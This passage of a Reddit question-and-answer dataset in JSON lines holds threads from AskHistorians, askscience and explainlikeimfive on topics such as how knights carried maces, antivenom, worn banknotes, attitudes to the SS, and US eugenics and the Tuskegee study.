[["https://allthingsliberty.com/2013/06/alexander-hamilton-dangerous-man/"]]}
{"q_id": "6tiqct", "title": "How did mounted medieval knights carry weapons that don't have scabbards (such as warhammers, maces etc) in to battle?", "selftext": "Presumably they must have had some way to store them as they would require their hands for lance and shield. How were they carried?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6tiqct/how_did_mounted_medieval_knights_carry_weapons/", "answers": {"a_id": ["dll2vcg"], "score": [3], "text": ["Baggage carts. \n\nIt would be very unusual to wear armour or weapons as often as is seen in films/TV shows during the medieval period.\n\nA knight would travel with a personal retinue of lesser knights/men-at-arms, and staff to set up camp, cook meals, clean his armour, look after the horses etc. A knights armour and weapons would be kept in oiled bags to prevent rust, and put in the baggage carts with everything else. The same is true for a lance or shield, they would only be carried when needed.\n\nIf it was an area where attack was likely, then they would simply carry them (leaning up against the shoulder, or over the shoulder to take the weight off the arms and hands) or have it in easy reach on a saddle. \n\nIf they were carrying a lance and shield into battle however, the sidearm could be stuck through the belt at the back so that it hung horizontally, keeping it out of the way of your legs, it wouldn't interfere with the horse, and it would keep it more secure than the axe rings that are popular on reenactor belts, even though there's not really any historical evidence for them.\n\nEdit: Sorry, didn't read the 'into battle's aspect of the title, so you can ignore the top two and half paragraphs."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1zhtxr", "title": "How do we know anything about Native American history without a written record?", "selftext": "How much do we know about Native American history prior to European contact?  How good of an idea do we actually have of Native American life from pre-Columbian times?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1zhtxr/how_do_we_know_anything_about_native_american/", "answers": {"a_id": ["cftuadc", "cfvgoc0"], "score": [2, 2], "text": ["Well, some societies did leave a written record (Mi'kmaq, Maya, Zapotec) and others had long standing traditions of oral stories that were passed down through the generations that were recorded in writing by others. There's also the archaeological record which helps to piece together bits and pieces of past people to understand who they were, sometimes relying on analogies with better known people who may share some similar traits. There is also descriptions people made when meeting new and diverse groups. Huge works like the Florentine Codex by Sahagun have proved to be greatly insightful as well as the letters Pizarro wrote to the king of Spain.", "Hey there! I totally agree with what /u/Mictlantecuhtli has written thus far, but thought I would flesh out the response a little bit. \n\nLots of Indigenous societies did leave material traces of their histories, though since they are not alphabetical, it is harder for outsiders to \"read\" them. For example, in 2009, a group of Haida worked with staff at the Pitt Rivers Museum to expand the knowledge about the Haida objects in the museum collection. There is a 50 minute documentary about the process, called [Everything Was Carved](_URL_0_) that you can watch online. It clearly shows how Haida were able to tell the museum \"experts\" things about the use of material culture which can contribute to our knowledge of pre- and early-contact Haida societies. \n\nOral tradition is also a really important source for historical knowledge about Indigenous peoples, as is archaeological analysis. I already talked about those things [in another comment on this subreddit](_URL_1_) so if you're interested you could check that out too. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.prm.ox.ac.uk/haida.html", "http://www.reddit.com/r/AskHistorians/comments/1z37oa/theory_thursday_academicprofessional_history/cfqhkwj"]]}
{"q_id": "k8v9k", "title": "Could the space shuttle break free and leave earth orbit, or is it designed to only be able to just reach orbit?", "selftext": "Hypothetically if you were to get in a shuttle, could you get in and fly off into space never to return, or is the maximum capability of it to only reach orbit?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/k8v9k/could_the_space_shuttle_break_free_and_leave/", "answers": {"a_id": ["c2id412", "c2ifzfu", "c2id412", "c2ifzfu"], "score": [14, 3, 14, 3], "text": ["According to wikipedia, the shuttle is capable of getting 3.8 tons of payload to [GTO](_URL_0_), which requires about 12.5 km/s of [delta v](_URL_1_) (this includes atmospheric drag). Breaking free of the Earth's gravitational field would only require a couple more km/s, and could probably be done with modifications for more fuel. Getting outside the solar system would be pretty much impossible, though, as freeing yourself from the gravitational field of the sun would require an additional 30 km/s!", "No, definitely not.  \n\nThis worksheet is a good starting point: _URL_0_  \n\nExcerpt: \n\n >  A common misconception shared by \nmany students, and perhaps some members of \nthe public, is that the Space Shuttle could have \nbeen used to travel to the Moon.   A few simple math problems will show \nthat this could never have been a possibility, \neven if engineers had decided to \u2018upgrade\u2019 the \nShuttle", "According to wikipedia, the shuttle is capable of getting 3.8 tons of payload to [GTO](_URL_0_), which requires about 12.5 km/s of [delta v](_URL_1_) (this includes atmospheric drag). Breaking free of the Earth's gravitational field would only require a couple more km/s, and could probably be done with modifications for more fuel. Getting outside the solar system would be pretty much impossible, though, as freeing yourself from the gravitational field of the sun would require an additional 30 km/s!", "No, definitely not.  \n\nThis worksheet is a good starting point: _URL_0_  \n\nExcerpt: \n\n >  A common misconception shared by \nmany students, and perhaps some members of \nthe public, is that the Space Shuttle could have \nbeen used to travel to the Moon.   A few simple math problems will show \nthat this could never have been a possibility, \neven if engineers had decided to \u2018upgrade\u2019 the \nShuttle"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Geostationary_transfer_orbit", "http://en.wikipedia.org/wiki/Delta-v_budget"], ["http://spacemath.gsfc.nasa.gov/weekly/7Page85.pdf"], ["http://en.wikipedia.org/wiki/Geostationary_transfer_orbit", "http://en.wikipedia.org/wiki/Delta-v_budget"], ["http://spacemath.gsfc.nasa.gov/weekly/7Page85.pdf"]]}
{"q_id": "6q1r6u", "title": "why do we feel stupid around people we like even if we're not acting or doing anything stupid?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6q1r6u/eli5_why_do_we_feel_stupid_around_people_we_like/", "answers": {"a_id": ["dktwnkm", "dktxeq3", "dku0ed5", "dku2y4q"], "score": [3, 40, 8, 5], "text": ["Because when you out around a person you see as a suitable mate, your reactions are to impress them and mate with them due to chemicals in your brain.", "It's because you have a heightened perception of their competence. You laugh at their dumb jokes because you like them, even if the jokes aren't funny if told by someone else. You think that they are incredibly skilled at whatever things they do, even though they would be considered average at best.", "It's kinda a self esteem issue and usually goes hand-in-hand with however you grew up, especially if you had siblings or even somewhat emotionally abusive parents. No matter how smart you are or aren't, you think of yourself as stupid because you really want to impress this person, but they might be smarter in one regard or, even, you're just overthinking it. You want them to like you, so you berate yourself for every tiny thing you think you do wrong, whether it be how your voice cracked asking how they are, or having to ask what a certain word means. Idk if this makes any sense but that's how I've come to see it", "Because you want to make the best possible impression on them, and thus are hyper-focused on anything you say or do that could possibly be viewed by them in a negative way. Since most people don't spend much effort nitpicking over every little detail of everything they do, focusing on the small details with the point of view of \"could this possibly in any way be considered dumb?\" causes an overwhelming sense of insecurity."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "15p2ia", "title": "how are bills taken out of circulation?", "selftext": "So a bill is produced by the Federal Government and put into circulation (by purchasing bonds). It is used for a number of years, and gradually deteriorates. Eventually it has fallen apart to the point where it should be removed from circulation. How does this happen?\n\nAfter all, no one is going to be given a bill in exchange for a good/service they provide and refuse to use the bill because it is too ratty. But there must be a final consumer who gets the shaft.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/15p2ia/how_are_bills_taken_out_of_circulation/", "answers": {"a_id": ["c7ohge9", "c7ohghr", "c7oi1bx", "c7olzlj"], "score": [8, 4, 5, 2], "text": ["Local community banks.  They return any worn-out bills they receive to the Federal Reserve Bank, which sorts the bills and decides which ones to destroy.  The Fed has a stockpile of new bills (printed by the US Bureau of Engraving and Printing) that it uses to replenish the public supply back out through the local community banks. ", "When a bank gets a bill that's too damaged to be used, they exchange it with the Federal Reserve for a freshly printed bill. The Federal Reserve usually destroys it, but since they can print money that's not a big deal.", "I worked as a cashier at a bank for a while. We kept a stack of crappy notes. A lot of businesses would come to us and give us all the notes that they didn't want to give back to customers. We would give them new, or new'ish notes, or deposit the value into their account in return. We would also take all the bad notes from general customers and add them to the stack. Each month we wrote up a report of all the bad notes and sent them off.\n\nI'm not entirely sure what happened to the notes after we sent them away, but I think they were incinerated and replaced with new printed notes.\n\nFYI, this is the UK, you said \"Federal Government\" so I am assuming you are refering to the US. I guess it works in the same way.", "Well it depends, do you merely mean bills that are worn?\n\nThe US operates using a [fractional-reserve banking system](_URL_6_). Since commercial must keep a reserves of currency and other deposits equal to a fraction (known as the [reserve requirement](_URL_4_)) of their own liabilities at a local [Federal Reserve Bank](_URL_3_), most currency ends up passing through these banks for processing. [According to the Secret Service website](_URL_7_), during the ordinary processing of currency, damaged currency is systematically identified and destroyed to be replaced by fresh currency printed by the Treasury Department's [Bureau of Engraving and Printing](_URL_1_).\n\nNow, in the case of **exceptionally** damaged currency, i.e. [mutilated currency](_URL_0_) (e.g. by fire, water, chemicals, etc.), one often cannot deposit it at a commercial bank as the Federal Reserve Banks refuse to accept it and thus neither do companies. This is because it requires [special examination](_URL_2_) to determine the currency's value. In such cases you can [submit a claim](_URL_5_) with the Bureau for a fresh replacement."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://en.wikipedia.org/wiki/Mutilated_currency", "http://en.wikipedia.org/wiki/Bureau_of_Engraving_and_Printing", "http://www.moneyfactory.gov/uscurrency/damagedcurrency.html", "http://en.wikipedia.org/wiki/Federal_Reserve_Bank", "http://en.wikipedia.org/wiki/Reserve_requirement", "http://moneyfactory.gov/damagedcurrencyclaim.html", "http://en.wikipedia.org/wiki/Fractional-reserve_banking", "http://www.secretservice.gov/money_damaged.shtml"]]}
{"q_id": "2z9q8z", "title": "As portrayed in the movie *Fury*, were Allied soldiers sympathetic towards regular German soldiers but ruthless when dealing with the SS?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2z9q8z/as_portrayed_in_the_movie_fury_were_allied/", "answers": {"a_id": ["cphmll9", "cphr8j4"], "score": [59, 17], "text": ["Broadly speaking, yes, attitudes towards the SS were significantly harsher than those towards the regular army, the Wehrmacht. In many lower level units there was an unwritten (and in at least one instance written) policy that SS troops were simply not to be taken prisoner. However it should be noted using the word 'sympathy' to describe the troops attitude towards the Wehrmacht would be stretching it a little.\n\nThere are two main reasons for the attitude towards the SS:\n\nFirstly well before the events portrayed in the movie the SS had acquired a bad reputation having been implicated in a number of massacres of allied troops and civilians. The massacre of Canadian troops by the 12th SS and the Malmedy massacre during the Battle of Bulge are just two of the better known atrocities.\n\nSecondly as the war entered it's final stage and the allies entered Germany there was widespread anger that the Germans were continuing to fight even when their position was hopeless. Broadly speaking again, it was the SS putting up a significant amount of resistance, with many Wehrmacht troops simply looking for the safest moment to surrender. At this point the SS felt that they were fighting for their lives and did not expect to be taken prisoner.\n\nPrinciple source : *The Guns At Last Light* by Rick Atkinson. This book I have on my Kindle so I can look up references. The others are on the book shelf at home.", "I don't know if the OP means just the Western Allies or the USSR as well, but the Soviets did have a special hatred for the SS in particular. German POWs often immediately met accusations of \"Du SS!\". Captured SS were usually shot on the spot.\n\nHowever, the Soviets were in no way \"sympathetic\" to regular soldiers. After the Wehrmacht's atrocities in the East and relentless anti-German propaganda, Soviet attitudes towards all Germans (particularly men) were very harsh. Captured Germans not shot immediately could expect a spell in the Gulag.\n\nThe Wehrmacht knew this, and often fought bitterly so they could surrender to the Americans. For example, Wenck fought a desperate battle to escape a Soviet encirclement and get his men across the Elbe.\n\nSource: Berlin by Antony Beevor"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "y320p", "title": "Was it a right decision for Hadrian to surrender Trajan's conquest in Mesopotomia(Iraq)?", "selftext": "Were there enough Roman troops hold and occupy Mesopotomia as a new imperial province? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/y320p/was_it_a_right_decision_for_hadrian_to_surrender/", "answers": {"a_id": ["c5rx2i7"], "score": [2], "text": ["There were a number of internal revolts in the Empire at the time. He wasn't necessarily wrong to pull out, given the need to divert resources away from occupying new territories."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "o9k9e", "title": "how antivenom works.", "selftext": "I was reading about terrifyingly poisonous spiders and got curious.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/o9k9e/eli5_how_antivenom_works/", "answers": {"a_id": ["c3fgwv9", "c3fha3d", "c3fibo1", "c3fjqn8", "c3fo3n1"], "score": [134, 11, 55, 9, 2], "text": ["Venom is a molecule synthesized in the body of the animal (spider in your case).  When it is injected into an animal, their body generates antibodies that are specific to that venom which flag the venom molecules for destruction by the animals immune system.  Sometimes, if the venom is too strong, they will have irreparable damage done before their body can generate antibodies.  In order to prevent death or serious injury in these cases, antibodies from another source are needed to help their immune system out/speed up the process.  To get these additional antibodies (antivenoms), scientists inject venom into an animal (sheep or horse typically) in small amounts (non-dangerous) to get that animal to create antibodies.  Then their blood is drawn and the antibodies are purified out.  ", "Venom is a chemical, and your body will naturally fight it off, but if the venom is very dangerous, your body can't fight it off fast enough. Before the fighting, the body needs to locate the things to be fought.\n\nAntibodies effectively target the things to be fought (the venom), but if you don't have enough antibodies (or the right *kind* of antibodies), your body will take a long time to locate what needs to be fought.\n\n*Antivenom* is a huge boost of antibodies, which allows the body to basically skip the step of target-acquisition and get right down to the fighting.\n\nEdit: formatting.", "So venom is like evil ninjas entering your body. Antivenom contains lots of awesome Teenage Ninja Turtles badasses who have fought the evil ninjas before and know how to fight them. Your body *could* fight them, but they don't have the right kind of training. So the squad of ultimate TMNT badasses go into your body and help your body kick the evil ninjas' asses and prevent you from getting very sick or dying. That's also how some people can become more resistant to venom than others, their body has enough training to make some TMNT badasses of their own.", "I'll let other people tackle the real question, but I just want to note:\n\nA venomous spider bites you to make you sick. A poisonous spider gets bitten. I assume some spiders are both, but a venomous spider is not always poisonous.\n\nPoison ingested.\nVenom injected.\n", "My own personal anecdote:\n\nI was bitten by a Pacific Rattlesnake four and a half years ago.  It was a shallow bite with what turned out to be a fatal load of venom.  Even though I live in CA none of the doctors in any of the three hospitals I was in had ever seen a rattlesnake bite, so every time I displayed any sign of getting worse I was given another vial of Cro-Fab anti-venom.\n\nIn wilderness snake-bite kits, an ampoule of anti-venom is about the size of your pinky (and becomes unstable and ineffective after only 9 months, I learned).  In a hospital, a vial of anti-venom is a pint.\n\nI had a sensitivity to the venom and I swelled horribly.  Also, I was loaded with opiates for the pain, although if I knew then what I know now I would have taken the pain, which wasn't actually that bad.\n\nSo with each worse turn I was given another pint of anti-venom.  48 pints in all over 8 days.  The opiates backed up my digestive system.  I was unable to pass the anti-venom the entire time.\n\nMy digestive and nervous systems still feel the damage.  I was just at the doctor's a few days ago asking if there was anything they could do for the muscle tremors propagating through my chest.  They said no.  As many doctors have told me before, nobody on record has ever been dosed so heavily with anti-venom and they have no studies.  Therefore there is no science to help me.  Acupuncture can control the worst of the symptoms...\n\nIt's not like I'm crippled.  I'm alive and still in extremely good shape.  I just have long-term damage.  Not from the rattlesnake venom, it turns out, but from the over-use of anti-venom.  Whatever.  It saved my life.  Western medicine is great for that.  The Eastern medicine is better for actually regaining quality of life."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "2oi2io", "title": "how am i able to refrain from swearing without thinking about it when i'm at work or some other formal function, but when i'm with friends it's just as effortless to swear like a sailor?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2oi2io/eli5how_am_i_able_to_refrain_from_swearing/", "answers": {"a_id": ["cmnarg6"], "score": [2], "text": ["ELI5 doesn't allow questions based purely on individual experiences, ie referring exclusively to something that only affects you. You should submit to /r/askdocs (if your question is related to medical matters) or /r/askreddit. I've removed your submission. Thanks :)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "54ati4", "title": "How likely is that \u00d6tzi the Iceman knew about the more advanced civilizations of his time?", "selftext": "While \u00d6tzi the Iceman was roaming the Alps with his people there were already advanced civilizations in the Mediterranean basin and, as far as I know, people from the Neolithic were still somehow nomadic. \n\nHow likely is that someone like \u00d6tzi encountered, or knew about one of the more advance civilizations like the Minoans, Egypt or Mesopotamia? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/54ati4/how_likely_is_that_\u00f6tzi_the_iceman_knew_about_the/", "answers": {"a_id": ["d82bdaf"], "score": [7], "text": ["As no one has taken a stab at this, I'll give it a shot: it's extremely unlikely that a man living in the Po valley in 3300BCE would have access to many travelers who would have knowledge of the emerging polities of Egypt, Mesopotamia or even Crete. \n\nFirst, he is thought to have lived his life over 100 miles from the nearest coastline, so even if maritime trade existed between the Minoans and the people living near the mouth of the Po, it's a big stretch to imagine that word of those civilizations would get to Otzi's people in any kind of useful form. Second (and most important, really) 3300BCE is centuries before the Minoan trade network was established, and even at it's height I've not found any hint that their network extended into the Adriatic, at least not past the borders of what is now Albania. There was certainly maritime activity during the period (somehow people managed to get *to* Crete) and there was probably some level of trade activity, but almost certainly not at the level necessary to bring word of Egypt to the Alps.\n\nFinally, and not for nothing, there wasn't really much of an Egypt, Crete or Mesopotamia to talk about yet. Egypt was just on the cusp of being united for the first time, they were building structures called [mastaba's](_URL_0_) to house the wealthy dead, these wouldn't evolve into pyramids for another 700 years. The great cities of Sumer were just a series of warring, proto-literate towns. I cannot speak to what Crete was like, but my understanding is that they were still confined to the local island group, and probably still in the stone- or early copper-age.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Mastaba"]]}
{"q_id": "cj19r1", "title": "How to divide history?", "selftext": "Greetings, Redditors\n\nIn France, history classes always divide history in 4 periods:\n\n+ *Antiquit\u00e9* (Antiquity): starting around 3500 and 3000 B.C. with the invention of writing in Mesopotamia and Egypt;\n\n+ *Moyen-\u00c2ge* (Middle Ages): beginning in 476 A.D. with the Fall of Rome;\n\n+ *Temps modernes* (Modern Times): usually starting in 1492 (discovery of America by Columbus) or 1453 (the Fall of Constantinople);\n\n+ *\u00c9poque contemporaine* (Contemporary era): beginning in 1789 with the French Revolution.\n\nThis periodization of history is obviously designed for a Eurocentric history therefore I was asking myself:\n\n+ How do other civilizations divide their history? For example, the Fall of Rome didn't impact China much, so when did Chinese Antiquity end? Another example would be the US since their Revolution would be the start of the Contemporary Era. Are there timelines showing the different \"cultural\" periodizations side by side?\n\n+ How did ancient historians divide time?\n\n+ Are these periods a consensus or do they cause controversy?\n\n+ Which historians are behind it?\n\n+ The gradual shortening of these different periods shows a sort of \"acceleration of history\", is it real?\n\n+ Do they have any actual academic value in the study of history or is it only a way to popularize and simplify history?\n\n+ Finally, are we already in a new era? If yes, what would be the starting point?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/cj19r1/how_to_divide_history/", "answers": {"a_id": ["evajxnr"], "score": [4], "text": ["More of course can be said, but [this old MM](_URL_0_) might be of interest, as well as [this old RR](_URL_1_) by /u/rioabajo."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/4aenux/monday_methodshow_does_periodization_affect_our/", "https://www.reddit.com/r/AskHistorians/comments/4y1739/rules_roundtable_17_periodization_and/"]]}
{"q_id": "2d5n1c", "title": "why do we have the right to life but not the right to death?", "selftext": "We never consented to being born so why do governments not allow us to be euthanased as we please? I mean we are all mostly the \"consequence\" of sex or just exist to serve our parent's (perhaps selfish) desire to lead a happier or more fulfilled life by having a family.\n\nAm I missing something obvious here or has this not crossed anyone's mind?\n\nEdit: Thanks guys for responding. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2d5n1c/eli5_why_do_we_have_the_right_to_life_but_not_the/", "answers": {"a_id": ["cjmata5", "cjmatgr", "cjmjvok", "cjmkgrt", "cjmkwct", "cjmn94r", "cjmnc4d", "cjmoajl", "cjmq9w4", "cjmrsb8", "cjmrtx4", "cjmrxhr", "cjmsj1x", "cjmvb9r", "cjn1z9i"], "score": [27, 182, 3, 3, 6, 6, 5, 4, 2, 3, 3, 17, 2, 2, 2], "text": ["The belief of a \"right to life\" is often religious in nature and is seen a lot in people who are anti-abortion. The idea being that life is sacred to god so life cannot be taken. This carries through in the \"right to death\" argument. Life is sacred to god and only god can decide to end it, humans can't.  ", "In most parts of the world suicide is legal, the only reason (in most places) that assisted suicide is illegal is because it's so difficult to put in place safeguards to prevent people from bumping off their ill relatives and then pocketing their cash safe in the knowledge that the euthanasia laws will protect them.", "Because alive, we serve the economic clockwork that runs the (your) country, and dying removes you from that. Additionally, suicide or otherwise untimely death affects the people around you, in such a way that their productivity suffers as well, and in worst-case scenarios, can lead others to kill themselves as well. It's in the best interest of the country to keep everyone alive as long as they're fit to work.", "Because we need to be made into economically usable objects, that have turn work into wealth of others.", "the influence of religious authoritarians on lawmakers.", "Because capitalism wants more consumers, and would rather keep some barely \"alive\" so they can get more of their money from them.", "I think the societal idea is that suicide is always a flaw in mental health. While I believe one should be aloud to end their life in certain scenarios, I think it should have to fall in agreement with something like either 3 or more family members and/or an ethics committee. \n\nI've known quite a few people who have had struggles with depression who deeply regret their thoughts or attempt at suicide.\n\nThat being said I think mental health is addressed terribly in today's society. People should not be forced to suffer every day in a system that can't give them the extensive and individualized care they really need.", "Religion. The right to life has been used as a wedge issue to manipulate voters. The same people that support the right to life are against suicide because of religion. ", "Society owns you. That's why we can imprison you. If you die, you won't be making us profits or paying taxes. ", "Simple: overly religious people. There's a lot more but that's the simplest answer. ", "Because self determination denies the government income and taxes. ", "You can't pay taxes if you're dead.", "It's a mix of history and policy.\n\nHistorically, for the US at least, suicide was seen as a terrible act. Large tracts of Christian theology taught (since the middle ages) that suicide led to eternal damnation in hell. Because of this, lawmakers passed laws reflecting this idea, without resorting to religious reasoning.\n\n\nLawmakers also reasoned that the state has an interest in living bodies, they are useful and the lifeblood of a nationstate. The dead, however, do not help the nation (especially if the death denies future generations of citizens.) Hence policy influenced decision makers, who decided that suicide was a detrimental act for the nationstate. Especially when someone considers that suicide *could* be due to a mental illness that can be treated, it was deemed better policy to prohibit suicide than tacitly allow it to occur.", "because of religion.", "Can't tax the dead"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "1wme1j", "title": "what happens if you can't pay for your food at a restaurant?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1wme1j/eli5what_happens_if_you_cant_pay_for_your_food_at/", "answers": {"a_id": ["cf3d2dc", "cf3d2ui", "cf3f2c0", "cf3iqzj"], "score": [2, 5, 2, 6], "text": ["Is there any truth to the idea that you can wash dishes to work off your bill?\n", "Depends. Lets say you left your credit card at home (or something to that effect), you can usually leave collateral with the restaurant (say your cell phone or drivers license) to ensure you will come back, go home and get the money and return.", "Happens occasionally at the restaurant i manage..If it's one of our many daily regulars, we just let the pay it the next day...If its a random guest we don't know, we will allow them to leave their driver's license and return it once they return with payment. What usually happens is they will call someone to bring payment. \n\nedit: spelling", "Here's a man who was known for running up large bills at restaurants and then not paying. He used to do it a lot: _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.youtube.com/watch?v=pEsZkTTgydc"]]}
{"q_id": "1ozeip", "title": "why can't a fathers use of drugs during or before conception cause birth defects in the child?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1ozeip/eli5_why_cant_a_fathers_use_of_drugs_during_or/", "answers": {"a_id": ["ccx5jhx", "ccx5krc", "ccx7onj"], "score": [6, 4, 5], "text": ["Because the chemicals aren't transferred (or only in small quantities) to the mother's body. Even if they were, it takes around 3 days for the new life to \"get started\", by which time any drugs transferred would already have been swept out.", "Fathers contribute essentially a bit of genetic code at conception.  The body is designed for reproduction, so although the process is volatile it's fairly robust against as much damage as can easily be prevented.  So long as the genetic code isn't damaged the job is done (and when it is there's a good chance the sperm will be killed as well).  \nMothers contribute both genetic code, but also the egg and 9 months of nutrients to the baby (via close contact of blood).  Whatever is in the mother's blood stream has a high probability of affecting the baby's blood as well.  ", "Because drug use doesn't harm the egg or sperm, it harms the developing fetus inside the mother.  \n\nIf you were to say radiation instead of drug use - the reason why it would be less harmful in the male is because men are constantly producing billions of sperm cells, so the chances that the ONE which fertilizes an egg would be damaged is infinitely small.  Women have a fixed number of eggs in their ovaries - and the number isn't anywhere near as large as how many sperm cells men produce.  So risk of genetic damage via radiation is greater.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "4n0ubq", "title": "Did Lenin actually use the term \"useful idiots\"?", "selftext": "[deleted]", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4n0ubq/did_lenin_actually_use_the_term_useful_idiots/", "answers": {"a_id": ["d402iv9"], "score": [3], "text": ["Not in the published works, at least. While concept itself was known to Lenin (it is nothing now about it), earliest known use of phrase \"\u041f\u043e\u043b\u0435\u0437\u043d\u044b\u0439 \u0438\u0434\u0438\u043e\u0442\" comes from 1941. It was first used by literature critic V. G. Bazanov  to describe Nikolai Leskov's view on nihilist."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "s2n1c", "title": "street sweepers", "selftext": "They seem so useless. Do they actually do anything our are they just lingering from a long gone era where it seemed like a good idea to use them?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/s2n1c/eli5_street_sweepers/", "answers": {"a_id": ["c4alb8x", "c4ambht", "c4an25e"], "score": [19, 2, 2], "text": ["Without them, major roads would be covered with dust and ground up asphalt and tire particles, not to mention litter.  Sweeping streets also reduces pollutants that end up in groundwater when it rains.", "Do you mean human street sweepers? Seems the answers given so far are referring to the *vehicular* street sweepers.\n\nI think the human ones exist either to provide jobs or because they're cheaper (initially at least) than the trucks with the big rollers and vacuums.", "Are brooms and vacuum cleaners useless too? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3tfbb8", "title": "The United States government testing on civilians without consent, American or otherwise", "selftext": "To what extent has the government in the United States tested things on civilians without their consent? I've heard some horror stories but was just wondering what might be true.\n\nsome examples being: spraying bacteria off the coast of california, disease testing on blacks, or other shady stuff from MKULTRA\n", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3tfbb8/the_united_states_government_testing_on_civilians/", "answers": {"a_id": ["cx5sgxm", "cx5wvdk", "cx5wywp", "cx5zsrv", "cx629dt", "cx6429a", "cx68sap", "cx6gaba"], "score": [70, 74, 298, 5, 15, 349, 28, 11], "text": ["I don't have any more information, but a question. You mentioned spraying bacteria of the cost of California. Got any more information on that, perhaps a more searchable term? ", "The Tuskegee Syphilis experiment comes to mind. [wikipedia link](_URL_11_) There's also the fact that the government performed forced sterilizations from around 1907 into the '60s on those deemed \"unfit\" [wikipedia link](_URL_9_)\n\n**Edit: Forgot that this was AskHistorians so let me elaborate a bit. Forgive me if its a bit choppy, I'm summarizing this from a presentation I did in college a couple years back.**\n\nSo when Darwin came out with his theory on evolution it didn't take long for others to wonder if social traits in humans were genetic. His cousin, Sir Francis Galton explored the variation of social traits, such as criminality, promiscuity, mental disorders, and came to the conclusion that those in upper social positions were there because of their superior genetic makeup. So Then in 1897 we have the first attempt in Michigan to pass a compulsory sterilization law, it doesn't get enough votes from the legislature. 1905 Pennsylvania legislature passed a sterilization law but the governor vetoed. 1907 Indiana successfully passes sterilization legislation. Thirty-two other states pass legislation as well. However, sterilization rates remained low until the Buck v. Bell case.\n\nIn 1924, 18 year old Carrie Buck of Virginia was in the Virginia State Colony for Epileptics and Feebleminded. Dr. Albert Sidney Priddy wanted to see if the new sterilization law in VA would pass legal challenge, he claimed that Buck needed to be sterilized, as she supposedly had a mental age of 9. Her mother also allegedly had a mental age of 8. The mother had had 3 children without knowing the fathers of any of them. Carrie had been adopted by another family and had a child out of wedlock and committed to the State Colony. In all actuality, she was raped by a nephew of her adopted family and in order to save face was sent away. The case made its way up to the Supreme Court and in an 8 to 1 decision they gave the ok to sterilize Carrie Buck. Justice Oliver Holmes wrote, \"We have seen more than once that the public welfare may call upon the best citizens for their lives. It would be strange if it could not call upon those who already sap the strength of the State for these lesser sacrifices, often not felt to be such by those concerned, to prevent our being swamped with incompetence. It is better for all the world, if instead of waiting to execute degenerate offspring for crime, or to let them starve for their imbecility, society can prevent those who are manifestly unfit from continuing their kind. The principle that sustains compulsory vaccination is broad enough to cover cutting the Fallopian tubes.\" [link](_URL_1_) He concluded his argument \"Three generations of imbeciles are enough.\" This in turn gave the OK for forced or coerced sterilizations.\n\nThose who were targeted for sterilizations were generally anyone deemed mentally deficient. Men were sterilized to rehabilitate them from jail and to prevent their destructive traits (crime). Women were sterilized to 'cure' their sexual misconduct/promiscuity/prostitution, all of which were seen as a symptom of feeble-mindedness. [picture on the levels of being an imbecile](_URL_3_\n_URL_2_)\n\nBetween 1907-1963 over 64,000 individuals were forcibly sterilized. Around the '30s more women than men were being sterilized. (By 1962 61% of the 62,162 sterilizations were performed on women). California was the state with the most sterilizations with a conservative figure of 20,180 people sterilized.\n\n**Tuskegee Syphilis Experiments**\n\nBetween 1932 and 1972, the U.S. Public Health Service experimented on 399 black men in the late stages of syphilis. These men were from the poorest county in Alabama and were never told what disease they were suffering from other than 'bad blood'.\n\n\"The data for the experiment was to be collected from autopsies of the men, and they were thus deliberately left to degenerate under the ravages of tertiary syphilis\u2014which can include tumors, heart disease, paralysis, blindness, insanity, and death. \u201cAs I see it,\u201d one of the doctors involved explained, 'we have no further interest in these patients until they die.'\" [link](_URL_14_)\n\nIn total 28 men died directly of syphilis, 100 men died from syphilis-related complications, 40 of their wives were infected and 19 children were born with congenital 